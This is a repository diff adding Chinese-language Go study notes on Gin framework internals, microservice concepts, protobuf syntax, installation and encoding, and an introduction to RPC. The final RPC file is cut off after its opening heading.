Normal file
86
05-常用框架/gin-05-理解gin框架-2.md
Normal file
@ -0,0 +1,86 @@
|
||||
## 三 gin.Context
|
||||
|
||||
gin.Context内保存了请求的上下文信息,是所有请求处理器的入口参数:
|
||||
```go
|
||||
type HandlerFunc func(*Context)
|
||||
|
||||
type Context struct {
|
||||
...
|
||||
Request *http.Request // 请求对象
|
||||
Writer ResponseWriter // 响应对象
|
||||
Params Params // URL匹配参数
|
||||
...
|
||||
Keys map[string]interface{} // 自定义上下文信息
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
Context 对象提供了非常丰富的方法用于获取当前请求的上下文信息,如果你需要获取请求中的 URL 参数、Cookie、Header 都可以通过 Context 对象来获取。这一系列方法本质上是对 http.Request 对象的包装:
|
||||
```go
|
||||
// 获取 URL 匹配参数 /book/:id
|
||||
func (c *Context) Param(key string) string
|
||||
// 获取 URL 查询参数 /book?id=123&page=10
|
||||
func (c *Context) Query(key string) string
|
||||
// 获取 POST 表单参数
|
||||
func (c *Context) PostForm(key string) string
|
||||
// 获取上传的文件对象
|
||||
func (c *Context) FormFile(name string) (*multipart.FileHeader, error)
|
||||
// 获取请求Cookie
|
||||
func (c *Context) Cookie(name string) (string, error)
|
||||
...
|
||||
```
|
||||
|
||||
Context 对象提供了很多内置的响应形式,JSON、HTML、Protobuf 、MsgPack、Yaml 等。它会为每一种形式都单独定制一个渲染器。通常这些内置渲染器已经足够应付绝大多数场景,如果你觉得不够,还可以自定义渲染器。
|
||||
```go
|
||||
func (c *Context) JSON(code int, obj interface{})
|
||||
func (c *Context) Protobuf(code int, obj interface{})
|
||||
func (c *Context) YAML(code int, obj interface{})
|
||||
...
|
||||
// 自定义渲染
|
||||
func (c *Context) Render(code int, r render.Render)
|
||||
|
||||
// 渲染器通用接口
|
||||
type Render interface {
|
||||
Render(http.ResponseWriter) error
|
||||
WriteContentType(w http.ResponseWriter)
|
||||
}
|
||||
```
|
||||
|
||||
所有的渲染器最终还是需要调用内置的 http.ResponseWriter(Context.Writer) 将响应对象转换成字节流写到套接字中。
|
||||
```go
|
||||
type ResponseWriter interface {
|
||||
// 容纳所有的响应头
|
||||
Header() Header
|
||||
// 写Body
|
||||
Write([]byte) (int, error)
|
||||
// 写Header
|
||||
WriteHeader(statusCode int)
|
||||
}
|
||||
```
|
||||
|
||||
## 四 插件与请求链
|
||||
|
||||
gin的插件机制中,函数链的尾部是业务处理,前面部分是插件函数。在 Gin 中插件和业务处理函数形式是一样的,都是 func(*Context)。当我们定义路由时,Gin 会将插件函数和业务处理函数合并在一起形成一个链条结构。
|
||||
```go
|
||||
type Context struct {
|
||||
...
|
||||
index uint8 // 当前的业务逻辑位于函数链的位置
|
||||
handlers HandlersChain // 函数链
|
||||
...
|
||||
}
|
||||
|
||||
// 挨个调用链条中的处理函数
|
||||
func (c *Context) Next() {
|
||||
c.index++
|
||||
for s := int8(len(c.handlers)); c.index < s; c.index++ {
|
||||
c.handlers[c.index](c)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
所以在业务代码中,一般一个处理函数时,路由节点也需要挂载一个函数链条。
|
||||
|
||||
Gin 在接收到客户端请求时,找到相应的处理链,构造一个 Context 对象,再调用它的 Next() 方法就正式进入了请求处理的全流程。
|
||||
|
||||
![](../images/go/gin-04.jpeg)
|
||||
|
166
05-常用框架/gin-06-源码分析-流程梳理.md
Normal file
166
05-常用框架/gin-06-源码分析-流程梳理.md
Normal file
@ -0,0 +1,166 @@
|
||||
## 一 请求流程梳理
|
||||
|
||||
首先从gin最开始的创建engine对象部分开始:
|
||||
```go
|
||||
router := gin.Default()
|
||||
```
|
||||
|
||||
该方法返回了Engine结构体,常见属性有:
|
||||
```go
|
||||
type Engine struct {
|
||||
//路由组
|
||||
RouterGroup
|
||||
RedirectTrailingSlash bool
|
||||
RedirectFixedPath bool
|
||||
HandleMethodNotAllowed bool
|
||||
ForwardedByClientIP bool
|
||||
AppEngine bool
|
||||
UseRawPath bool
|
||||
UnescapePathValues bool
|
||||
MaxMultipartMemory int64
|
||||
delims render.Delims
|
||||
secureJsonPrefix string
|
||||
HTMLRender render.HTMLRender
|
||||
FuncMap template.FuncMap
|
||||
allNoRoute HandlersChain
|
||||
allNoMethod HandlersChain
|
||||
noRoute HandlersChain
|
||||
noMethod HandlersChain
|
||||
// 对象池 用来创建上下文context
|
||||
pool sync.Pool
|
||||
//记录路由方法的 比如GET POST 都会是数组中的一个 每个方法对应一个基数树的一个root的node
|
||||
trees methodTrees
|
||||
}
|
||||
```
|
||||
|
||||
Default方法其实就是创建了该对象,并添加了一些默认中间件:
|
||||
```go
|
||||
func Default() *Engine {
|
||||
debugPrintWARNINGDefault()
|
||||
engine := New()
|
||||
engine.Use(Logger(), Recovery())
|
||||
return engine
|
||||
}
|
||||
```
|
||||
|
||||
注意,这里Default方法内部调用了New方法,**该方法默认添加了路由组"/"**
|
||||
```go
|
||||
func New() *Engine {
|
||||
debugPrintWARNINGNew()
|
||||
engine := &Engine{
|
||||
RouterGroup: RouterGroup{
|
||||
Handlers: nil,
|
||||
basePath: "/",
|
||||
root: true,
|
||||
},
|
||||
FuncMap: template.FuncMap{},
|
||||
RedirectTrailingSlash: true,
|
||||
RedirectFixedPath: false,
|
||||
HandleMethodNotAllowed: false,
|
||||
ForwardedByClientIP: true,
|
||||
AppEngine: defaultAppEngine,
|
||||
UseRawPath: false,
|
||||
UnescapePathValues: true,
|
||||
MaxMultipartMemory: defaultMultipartMemory,
|
||||
trees: make(methodTrees, 0, 9),
|
||||
delims: render.Delims{Left: "{{", Right: "}}"},
|
||||
secureJsonPrefix: "while(1);",
|
||||
}
|
||||
engine.RouterGroup.engine = engine
|
||||
engine.pool.New = func() interface{} {
|
||||
return engine.allocateContext()
|
||||
}
|
||||
return engine
|
||||
}
|
||||
```
|
||||
|
||||
context对象存储了上下文信息,包括:engine指针、request对象,responsewriter对象等,context在请求一开始就被创建,且贯穿整个执行过程,包括中间件、路由等等:
|
||||
```go
|
||||
type Context struct {
|
||||
writermem responseWriter
|
||||
Request *http.Request
|
||||
Writer ResponseWriter
|
||||
|
||||
Params Params
|
||||
handlers HandlersChain
|
||||
index int8
|
||||
|
||||
engine *Engine
|
||||
|
||||
// Keys is a key/value pair exclusively for the context of each request.
|
||||
Keys map[string]interface{}
|
||||
|
||||
// Errors is a list of errors attached to all the handlers/middlewares who used this context.
|
||||
Errors errorMsgs
|
||||
|
||||
// Accepted defines a list of manually accepted formats for content negotiation.
|
||||
Accepted []string
|
||||
}
|
||||
```
|
||||
|
||||
接下来是Use方法:
|
||||
```go
|
||||
func (engine *Engine) Use(middleware ...HandlerFunc) IRoutes {
|
||||
//调用routegroup的use方法
|
||||
engine.RouterGroup.Use(middleware...)
|
||||
engine.rebuild404Handlers()
|
||||
engine.rebuild405Handlers()
|
||||
return engine
|
||||
}
|
||||
|
||||
func (group *RouterGroup) Use(middleware ...HandlerFunc) IRoutes {
|
||||
//为group的handlers添加中间件
|
||||
group.Handlers = append(group.Handlers, middleware...)
|
||||
return group.returnObj()
|
||||
}
|
||||
```
|
||||
|
||||
最后到达最终路由,有GET,POST等多种方法,但是每个方法的处理方式都是相同的,即把group和传入的handler合并,计算出路径存入tree中等待客户端调用:
|
||||
```go
|
||||
func (group *RouterGroup) GET(relativePath string, handlers ...HandlerFunc) IRoutes {
|
||||
//调用get方法
|
||||
return group.handle("GET", relativePath, handlers)
|
||||
}
|
||||
|
||||
func (group *RouterGroup) handle(httpMethod, relativePath string, handlers HandlersChain) IRoutes {
|
||||
//计算路径地址,比如group地址是 router.Group("/api")
|
||||
//结果为/api/test/ 就是最终计算出来的结果 使用path.join 方法拼接 其中加了一些判断
|
||||
absolutePath := group.calculateAbsolutePath(relativePath)
|
||||
//把group中的handler和传入的handler合并
|
||||
handlers = group.combineHandlers(handlers)
|
||||
//把方法 路径 和处理方法作为node 加入到基数树种,基数树在下次单独学习分析
|
||||
group.engine.addRoute(httpMethod, absolutePath, handlers)
|
||||
return group.returnObj()
|
||||
}
|
||||
|
||||
func (group *RouterGroup) combineHandlers(handlers HandlersChain) HandlersChain {
|
||||
finalSize := len(group.Handlers) + len(handlers)
|
||||
if finalSize >= int(abortIndex) {
|
||||
panic("too many handlers")
|
||||
}
|
||||
mergedHandlers := make(HandlersChain, finalSize)
|
||||
copy(mergedHandlers, group.Handlers)
|
||||
copy(mergedHandlers[len(group.Handlers):], handlers)
|
||||
return mergedHandlers
|
||||
}
|
||||
```
|
||||
|
||||
run方法则是启动服务,在http包中会有一个for逻辑不停的监听端口:
|
||||
```go
|
||||
func (engine *Engine) Run(addr ...string) (err error) {
|
||||
defer func() { debugPrintError(err) }()
|
||||
|
||||
address := resolveAddress(addr)
|
||||
debugPrint("Listening and serving HTTP on %s\n", address)
|
||||
err = http.ListenAndServe(address, engine)
|
||||
return
|
||||
}
|
||||
|
||||
func ListenAndServe(addr string, handler Handler) error {
|
||||
server := &Server{Addr: addr, Handler: handler}
|
||||
return server.ListenAndServe()
|
||||
}
|
||||
```
|
||||
|
||||
## 二 书写类似源码
|
||||
|
107
05-常用框架/gin-07-源码分析-Egine与Context实现.md
Normal file
107
05-常用框架/gin-07-源码分析-Egine与Context实现.md
Normal file
@ -0,0 +1,107 @@
|
||||
## 一 Gin对象的构建
|
||||
|
||||
Gin框架是基于golang官方的http包搭建起来的,http包最重要的实现是:
|
||||
```go
|
||||
func ListenAndServe(addr string, handler Handler) error {
|
||||
server := &Server{Addr: addr, Handler: handler}
|
||||
return server.ListenAndServe()
|
||||
}
|
||||
```
|
||||
利用该方法,以及参数中的Handler接口,实现Gin的Engine,Context:
|
||||
```go
|
||||
package engine
|
||||
|
||||
import "net/http"
|
||||
|
||||
type Engine struct {
|
||||
|
||||
}
|
||||
|
||||
func (e *Engine) ServeHTTP(w http.ResponseWriter, req *http.Request) {
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
context对象其实就是对ServeHTTP方法参数的封装,因为这2个参数在web开发中一个完整请求链中都会用到:
|
||||
```go
|
||||
type Context struct {
|
||||
writermem responseWriter
|
||||
Request *http.Request
|
||||
Writer ResponseWriter
|
||||
}
|
||||
|
||||
type responseWriter struct {
|
||||
http.ResponseWriter
|
||||
size int
|
||||
status int
|
||||
}
|
||||
```
|
||||
|
||||
这里多了一个属性 `writermem`,如果仅仅只从功能上考虑,这里有了Request、Writer已经足够使用了,但是框架需要应对多变的返回数据情况,必须对其进行封装,比如:
|
||||
```go
|
||||
type ResponseWriter interface {
|
||||
|
||||
http.ResponseWriter
|
||||
|
||||
Pusher() http.Pusher
|
||||
|
||||
Status() int
|
||||
Size() int
|
||||
WriteString(string) (int, error)
|
||||
Written() bool
|
||||
WriteHeaderNow()
|
||||
}
|
||||
```
|
||||
|
||||
这里对外暴露的是接口RespnserWriter,内部的`http.ResponseWriter`实现原生的ResponseWriter接口,在reset()的时候进行拷贝即可:
|
||||
```go
|
||||
func (c *Context) reset() {
|
||||
c.Writer = &c.writermem
|
||||
c.Params = c.Params[0:0]
|
||||
c.handlers = nil
|
||||
c.index = -1
|
||||
c.Keys = nil
|
||||
c.Errors = c.Errors[0:0]
|
||||
c.Accepted = nil
|
||||
}
|
||||
```
|
||||
|
||||
这样做能够更好的符合面向接口编程的概念。
|
||||
|
||||
Context也可以通过对象池复用提升性能:
|
||||
```go
|
||||
type Engine struct {
|
||||
pool sync.Pool
|
||||
}
|
||||
|
||||
func (engine *Engine) ServeHTTP(w http.ResponseWriter, req *http.Request) {
|
||||
c := engine.pool.Get().(*Context)
|
||||
c.writermem.reset(w)
|
||||
c.Request = req
|
||||
c.reset()
|
||||
|
||||
engine.handleHTTPRequest(c)
|
||||
|
||||
engine.pool.Put(c)
|
||||
}
|
||||
```
|
||||
|
||||
紧接着就可以在Context的基础上实现其大量的常用方法了:
|
||||
```go
|
||||
func (c *Context) Param(key string) string{
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *Context) Query(key string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *Context) DefaultQuery(key, defaultValue string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
|
||||
func (c *Context) PostFormArray(key string) []string{
|
||||
return nil
|
||||
}
|
||||
```
|
49
06-微服务/01-微服务概述.md
Normal file
49
06-微服务/01-微服务概述.md
Normal file
@ -0,0 +1,49 @@
|
||||
## 一 单体应用
|
||||
|
||||
优势:
|
||||
- 架构简单,容易上手
|
||||
- 部署简单,依赖少
|
||||
- 测试方便,一旦部署,所有功能就可以测了
|
||||
|
||||
劣势:
|
||||
- 复杂度变高代码越来越庞大
|
||||
- 开发效率低,协作麻烦
|
||||
- 牵一发动全身,任何一个功能出故障,全部完蛋
|
||||
|
||||
单体应用在应对高并发时,做一下横向扩展即可。
|
||||
|
||||
## 二 微服务
|
||||
|
||||
微服务就是微小的服务或应用,比如linux上的命令行看做一个整体系统,那么ls、cat等每个命令都是一个小的程序。
|
||||
微服务的体现是:让每个服务专注于做好一件事情,每个服务单独开发和部署,服务之间完全隔离。
|
||||
|
||||
优点:
|
||||
- 单个服务迭代周期短
|
||||
- 独立部署,独立开发
|
||||
- 可伸缩性好
|
||||
- 故障隔离,不互相影响
|
||||
|
||||
缺点:
|
||||
- 复杂度增加,一个请求往往经过多个服务
|
||||
- 监控和定位问题困难
|
||||
- 服务管理复杂
|
||||
|
||||
微服务真正能够落地还是需要很多因素支持的:
|
||||
- 微服务开发需要的框架
|
||||
- 打包、版本管理、上线平台支持
|
||||
- 硬件层支持:容器和容器调度
|
||||
- 服务治理平台支持:分布式链路追踪与监控
|
||||
- 测试自动化支持,比如上线前自动化case
|
||||
|
||||
## 三 微服务生态
|
||||
|
||||
- 硬件层:物理服务器管理、操作系统管理、配置管理、资源隔离和抽象,主机监控和日志
|
||||
- 通信层:网络传输(RESTFUL,RPC调用(thrift,dubbox),消息传递(json,protobuf)),rpc,服务发现与注册(zookeeper,etcd),负载均衡,消息传递
|
||||
- 应用平台层:
|
||||
- 微服务层:
|
||||
|
||||
分布式数据库CAP原理:
|
||||
- C:consistency,每次总是能够读到最近写入的数据或者失败
|
||||
- A:available,每次请求都能够读到数据
|
||||
- P:partition tolerance,系统能够继续工作,不管任意个消息由于网络原因失败
|
||||
目前只能保证CP或者AP。
|
69
06-微服务/02-protobuf-1-概述与安装.md
Normal file
69
06-微服务/02-protobuf-1-概述与安装.md
Normal file
@ -0,0 +1,69 @@
|
||||
## 一 数据交互格式
|
||||
|
||||
常见数据交互格式有:
|
||||
- xml:在webservice中应用最为广泛,但是相比于json,它的数据更加冗余,因为需要成对的闭合标签。
|
||||
- json:一般的web项目中,最流行的主要还是json。因为浏览器对于json数据支持非常好,有很多内建的函数支 持。
|
||||
- protobuf:后起之秀,谷歌开源的一种数据格式
|
||||
|
||||
## 二 protobuf简介
|
||||
|
||||
protobuf是google于2008年开源的可扩展序列化结构数据格式。相较于传统的xml和json,protobuf更适合高性能,对响应速度有要求的数据传输场景。
|
||||
|
||||
利用protobuf,可以自定义数据结构,使用protobuf对数据结构进行一次描述,即可利用各种不同语言或从各种不同数据流中对结构化数据进行轻松读写。
|
||||
|
||||
protobuf优点:
|
||||
- 1:序列化后体积相比Json和XML很小,适合网络传输
|
||||
- 2:支持跨平台多语言
|
||||
- 3:消息格式升级和兼容性还不错
|
||||
- 4:序列化反序列化速度很快,快于Json的处理速速
|
||||
|
||||
protobuf也有其不可忽视的缺点:
|
||||
- 功能简单,无法用来表示复杂的概念。
|
||||
- protobuf是二进制数据格式,需要编码和解码,数据本身不具有可读性,因此只能反序列化之后得到真正可读的数据。而XML已经是行业的标准工具,且具备自我解释性,可以被人们直接读取编辑。
|
||||
|
||||
## 三 protobuf安装
|
||||
|
||||
#### 3.1 linux安装protobuf
|
||||
|
||||
下面列出centOS的安装方式:
|
||||
```
|
||||
# 安装依赖
|
||||
yum install autoconf automake libtool curl make g++ unzip libffi-dev glibc-headers gcc-c++ -y
|
||||
|
||||
# 下载
|
||||
git clone https://github.com/protocolbuffers/protobuf.git
|
||||
|
||||
# 安装
|
||||
unzip protobuf.zip
|
||||
cd protobuf
|
||||
./autogen.sh
|
||||
./configure
|
||||
make && make install
|
||||
ldconfig # 刷新共享库
|
||||
|
||||
# 测试
|
||||
protoc --version
|
||||
```
|
||||
|
||||
#### 3.2 mac安装protobuf
|
||||
|
||||
mac推荐使用homebrew安装:
|
||||
```
|
||||
# 安装
|
||||
brew install protobuf
|
||||
brew install automake
|
||||
brew install libtool
|
||||
|
||||
# 测试
|
||||
protoc --version
|
||||
```
|
||||
|
||||
#### 3.3 win安装protobuf
|
||||
|
||||
下载地址: https://github.com/google/protobuf/releases
|
||||
|
||||
下载win版本后,配置文件中的bin目录到Path环境变量下即可。
|
||||
|
||||
```
|
||||
protoc --version #查看protoc的版本
|
||||
```
|
173
06-微服务/02-protobuf-2-语法与原理.md
Normal file
173
06-微服务/02-protobuf-2-语法与原理.md
Normal file
@ -0,0 +1,173 @@
|
||||
## 一 protobuf简单使用
|
||||
|
||||
新建一个protobuf文件:hello.proto
|
||||
```
|
||||
syntax = "proto3";
|
||||
|
||||
message HelloRequest {
|
||||
string name = 1;
|
||||
int32 height = 2;
|
||||
string email = 3;
|
||||
repeated int32 weight = 4 [packed=true];
|
||||
}
|
||||
|
||||
message TestResponse {
|
||||
string text = 1;
|
||||
}
|
||||
```
|
||||
|
||||
说明:
|
||||
- 上述示例中,创建了2个消息HelloRequest和TestResponse
|
||||
- 消息中的值,1-4分别是键对应的数字id
|
||||
|
||||
## 二 protobuf语法
|
||||
|
||||
#### 2.1 修饰前缀
|
||||
|
||||
- required:表示该字段有且只有1个,在3.0中该修饰符被移除
|
||||
- optional:表示该字段可以是0或1个,后面可加default默认值,如果不加,使用默认值
|
||||
- repeated:表示该字段可以是0到多个,packed=true 代表使用高效编码格式
|
||||
|
||||
注意:
|
||||
- id在1-15之间编码只需要占一个字节,包括Filed数据类型和Filed对应数字id
|
||||
- id在16-2047之间编码需要占两个字节,所以最常用的数据对应id要尽量小一些
|
||||
- 使用required规则的时候要谨慎,因为以后结构若发生更改,这个Filed若被删除的话将可能导致兼容性的问题。
|
||||
|
||||
#### 2.2 默认值
|
||||
|
||||
- strings:默认是一个空string
|
||||
- bytes:默认是一个空的bytes
|
||||
- bools:默认是false
|
||||
- 数值类型:默认是0
|
||||
|
||||
#### 2.3 保留字段与id
|
||||
|
||||
每个字段对应唯一的数字id,但是如果该结构在之后的版本中某个Filed删除了,为了保持向前兼容性,需要将一些id或名称设置为保留的,即不能被用来定义新的Field。
|
||||
|
||||
```
|
||||
message Person {
|
||||
reserved 2, 15, 9 to 11;
|
||||
reserved "samples", "email";
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.4 枚举类型
|
||||
比如电话号码,只有移动电话、家庭电话、工作电话三种,因此枚举作为选项,如果没设置的话枚举类型的默认值为第一项。在上面的例子中在个人message中加入电话号码这个Filed。如果枚举类型中有不同的名字对应相同的数字id,需要加入option allow_alias = true这一项,否则会报错。枚举类型中也有reserverd Filed和number,定义和message中一样。
|
||||
```
|
||||
message Person {
|
||||
required string name = 1;
|
||||
required int32 id = 2;
|
||||
optional string email = 3;
|
||||
|
||||
enum PhoneType {
|
||||
MOBILE = 0;
|
||||
HOME = 1;
|
||||
WORK = 2;
|
||||
}
|
||||
|
||||
message PhoneNumber {
|
||||
required string number = 1;
|
||||
optional PhoneType type = 2 [default = HOME];
|
||||
}
|
||||
|
||||
repeated PhoneNumber phones = 4;
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.5 引用其他message类
|
||||
在同一个文件中,可以直接引用定义过的message类型,在同一个项目中,可以用import来导入其它message类型。
|
||||
|
||||
```
|
||||
import "myproject/other_protos.proto";
|
||||
```
|
||||
|
||||
#### 2.6 message扩展
|
||||
|
||||
```
|
||||
message Person {
|
||||
// ...
|
||||
extensions 100 to 199;
|
||||
}
|
||||
```
|
||||
|
||||
在另一个文件中,import 这个proto之后,可以对Person这个message进行扩展。
|
||||
```
|
||||
extend Person {
|
||||
optional int32 bar = 126;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
#### 2.7 使用其他消息类型与嵌套
|
||||
|
||||
可以将其他消息类型作为字段类型,例如:在每一个PersonInfo消息中包含Person消息,此时可以在相同 的.proto文件中定义一个Result消息类型,然后在PersonInfo消息中指定一个Person类型的字段。
|
||||
|
||||
```
|
||||
message PersonInfo {
|
||||
repeated Person info = 1;
|
||||
}
|
||||
message Person {
|
||||
string name = 1;
|
||||
int32 shengao = 2;
|
||||
repeated int32 tizhong = 3;
|
||||
}
|
||||
```
|
||||
|
||||
可以在其他消息类型中定义、使用消息类型,在下面的例子中,Person消息就定义在PersonInfo消息内,如:
|
||||
```
|
||||
message PersonInfo {
|
||||
message Person {
|
||||
string name = 1;
|
||||
int32 shengao = 2;
|
||||
repeated int32 tizhong = 3;
|
||||
}
|
||||
repeated Person info = 1;
|
||||
}
|
||||
```
|
||||
|
||||
如果你想在它的父消息类型的外部重用这个消息类型,你需要以PersonInfo.Person的形式使用它,如:
|
||||
```go
|
||||
message PersonMessage {
|
||||
PersonInfo.Person info = 1;
|
||||
}
|
||||
```
|
||||
|
||||
当然,你也可以将消息嵌套任意多层,如:
|
||||
```go
|
||||
message Grandpa {
|
||||
message Father { // Level 1
|
||||
message son { // Level 2
|
||||
string name = 1;
|
||||
int32 age = 2;
|
||||
} }
|
||||
message Uncle { // Level 1
|
||||
message Son { // Level 2
|
||||
string name = 1;
|
||||
int32 age = 2;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 三 编码原理
|
||||
|
||||
#### 3.1 可变长整数编码
|
||||
|
||||
每个字节有8bits,其中第一个bit是most significant bit(msb),0表示结束,1表示还要读接下来的字节。
|
||||
|
||||
对message中每个Filed来说,需要编码它的数据类型、对应id以及具体数据。
|
||||
|
||||
比如对于下面这个例子来说,如果给a赋值150,那么最终得到的编码是什么呢?
|
||||
```
|
||||
message Test {
|
||||
optional int32 a = 1;
|
||||
}
|
||||
```
|
||||
|
||||
首先数据类型编码是000,因此和id联合起来的编码是00001000. 然后值150的编码是1 0010110,采用小端序交换位置,即0010110 0000001,前面补1后面补0,即10010110 00000001,即96 01,加上最前面的数据类型编码字节,总的编码为08 96 01。
|
||||
|
||||
#### 3.2 有符号整数编码
|
||||
|
||||
如果用int32来保存一个负数,结果总是有10个字节长度,被看做是一个非常大的无符号整数。使用有符号类型会更高效。它使用一种ZigZag的方式进行编码。即-1编码成1,1编码成2,-2编码成3这种形式。
|
||||
|
||||
也就是说,对于sint32来说,n编码成 (n << 1) ^ (n >> 31),注意到第二个移位是算法移位。
|
106
06-微服务/02-protobuf-3-go与protobuf.md
Normal file
106
06-微服务/02-protobuf-3-go与protobuf.md
Normal file
@ -0,0 +1,106 @@
|
||||
## 一 安装Go语言编译protobuf环境
|
||||
|
||||
```
|
||||
# 安装Go语言的proto API接口:
|
||||
go get -v -u github.com/golang/protobuf/proto
|
||||
|
||||
# 安装protoc-gen-go插件:这是个go程序
|
||||
go get -v -u github.com/golang/protobuf/protoc-gen-go
|
||||
|
||||
# 开启go mod版本的golang:拷贝命令,该命令位于 go/bin/
|
||||
cp protoc-gen-go /usr/local/bin/
|
||||
|
||||
# 低版本golang:需要编译该源码为可执行文件,然后拷贝该文件
|
||||
cd /gopath/github.com/golang/protobuf/protoc-gen-go/
|
||||
go build
|
||||
```
|
||||
|
||||
## 二 编译proto文件
|
||||
|
||||
新建一个golang项目,项目根目录创建protoes/hello.proto文件,内容如下:
|
||||
```
|
||||
syntax = "proto3";
|
||||
|
||||
package protoes; // 指定包
|
||||
|
||||
message HelloRequest {
|
||||
string name = 1; // 1-4分别是键对应的数字id
|
||||
int32 u_count = 2;
|
||||
}
|
||||
```
|
||||
|
||||
编译hello.proto:
|
||||
```
|
||||
cd protoes
|
||||
protoc --go_out=./ *.proto # 在当前目录生成了文件 hello.pb.go
|
||||
```
|
||||
|
||||
当用`protocol buffer`编译器来运行`.proto`文件时,编译器将生成所选择语言的代码,包括获取、设置字段值,将消息序列化到一个输出流中,以及从一个输入流中解析消息:
|
||||
- C++:编译器会为每个.proto文件生成一个.h文件和一个.cc文件,.proto文件中的每一个消息有一个对应的类
|
||||
- Python:.proto文件中的每个消息类型生成一个含有静态描述符的模块,该模块与一个元类(metaclass)在运行时被用来创建所需的Python数据访问类
|
||||
- Go:编译器会为每个消息类型生成了一个.pd.go文件
|
||||
|
||||
hello.pb.go主要内容如下:
|
||||
```go
|
||||
package protoes
|
||||
|
||||
import (
|
||||
fmt "fmt"
|
||||
proto "github.com/golang/protobuf/proto"
|
||||
math "math"
|
||||
)
|
||||
|
||||
// Reference imports to suppress errors if they are not otherwise used.
|
||||
var _ = proto.Marshal
|
||||
var _ = fmt.Errorf
|
||||
var _ = math.Inf
|
||||
|
||||
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
|
||||
|
||||
type HelloRequest struct {
|
||||
Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"`
|
||||
UCount int32 `protobuf:"varint,2,opt,name=u_count,json=uCount,proto3" json:"u_count,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
```
|
||||
|
||||
## 三 使用Go代码获取数据
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"test/protoes" // test是go mod的项目名
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
HelloRequest := protoes.HelloRequest{
|
||||
Name: *proto.String("lisi"),
|
||||
UCount: *proto.Int32(17),
|
||||
}
|
||||
|
||||
// 序列化
|
||||
data, err := proto.Marshal(&HelloRequest)
|
||||
if err != nil {
|
||||
fmt.Println("marshal error:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("marshal data:", data) // 一串流数据
|
||||
|
||||
// 反序列化
|
||||
var list protoes.HelloRequest
|
||||
err = proto.Unmarshal(data, &list)
|
||||
if err != nil {
|
||||
fmt.Println("unmarshal error:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("Name:", list.GetName()) // lisi
|
||||
fmt.Println("UCount:", list.GetUCount()) // 17
|
||||
|
||||
}
|
||||
```
|
50
06-微服务/03-rpc-1-rpc简介.md
Normal file
50
06-微服务/03-rpc-1-rpc简介.md
Normal file
@ -0,0 +1,50 @@
|
||||
## 一 rpc概述
|
||||
|
||||
RPC即远程过程调用协议(Remote Procedure Call Protocol),是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。
|
||||
|
||||
## 二 rpc执行过程
|
||||
|
||||
七层网络模型如下:
|
||||
- 第一层:应用层。定义了用于在网络中进行通信和传输数据的接口;
|
||||
- 第二层:表示层。定义不同的系统中数据的传输格式,编码和解码规范等;
|
||||
- 第三层:会话层。管理用户的会话,控制用户间逻辑连接的建立和中断;
|
||||
- 第四层:传输层。管理着网络中的端到端的数据传输;
|
||||
- 第五层:网络层。定义网络设备间如何传输数据;
|
||||
- 第六层:链路层。将上面的网络层的数据包封装成数据帧,便于物理层传输;
|
||||
- 第七层:物理层。这一层主要就是传输这些二进制数据
|
||||
|
||||
实际应用过程中,五层协议结构里面是没有表示层和会话层的。应该说它们和应用层合并了。
|
||||
|
||||
RPC与web请求类似,都是客户端向远端服务器请求服务返回结果,但是web请求使用的网络协议是http高层协议,而rpc所使用的协议多为网络层的TCP协议,减少了信息的包装,加快了处理速度。
|
||||
|
||||
在OSI网络通信模型中,RPC跨越了传输层和应用层,使得开发包括网络分布式多程序在内的应用程序更加容易。运行时,一次客户机对服务器的RPC调用,步骤如下:
|
||||
- 1 调用客户端句柄,传送参数
|
||||
- 2 调用本地系统内核发送网络消息
|
||||
- 3 消息传送到远程主机
|
||||
- 4 服务器句柄得到消息并得到参数
|
||||
- 5 执行远程过程
|
||||
- 6 返回执行结果给服务器句柄
|
||||
- 7 服务器句柄返回结果,调用远程系统内核
|
||||
- 8 消息传回本地主机
|
||||
- 9 客户句柄由内核接收消息
|
||||
- 10 客户接收句柄返回的数据
|
||||
|
||||
## 三 rpc架构
|
||||
|
||||
一个完整的RPC架构里面包含了四个核心的组件,分别是Client ,Server,Client Stub以及Server Stub,这个Stub大家可以理解为存根。分别说说这几个组件:
|
||||
- 客户端(Client):服务的调用方。
|
||||
- 服务端(Server):真正的服务提供者。
|
||||
- 客户端存根:存放服务端的地址消息,再将客户端的请求参数打包成网络消息,然后通过网络远程发送给服务方。
|
||||
- 服务端存根:接收客户端发送过来的消息,将消息解包,并调用本地的方法。
|
||||
|
||||
调用过程如图:
|
||||
![](../images/go/rpc-01.jpg)
|
||||
|
||||
## 四 rpc的实现
|
||||
|
||||
常见的rpc实现有:
|
||||
- go原生rpc:go的rpc包封装了rpc相关实现,但Go的RPC它只支持Go开发的服务器与客户端之间的交互,因为在内部,它们采用了Gob来编码
|
||||
- grpc:Google开源的rpc实现,基于最新的HTTP2.0协议,并支持常见的众多编程语言
|
||||
- thrift:Facebook开源的跨语言的服务开发框架,它有一个代码生成器来对它所定义的IDL定义文件自动生成服务代码框架。用户只要在其之前进行二次开发就行,对于底层的RPC通讯等都是透明的
|
||||
- dubbo:阿里开源的rpc框架,远程接口是基于`Java Interface`,依托于spring框架,可以方便的打包成单一文件,独立进程运行,和现在的微服务概念一致。
|
||||
- HSF:淘宝系内部rpc框架
|
368
06-微服务/03-rpc-2-go原生rpc实现.md
Normal file
368
06-微服务/03-rpc-2-go原生rpc实现.md
Normal file
@ -0,0 +1,368 @@
|
||||
## 一 Go 与 RPC
|
||||
|
||||
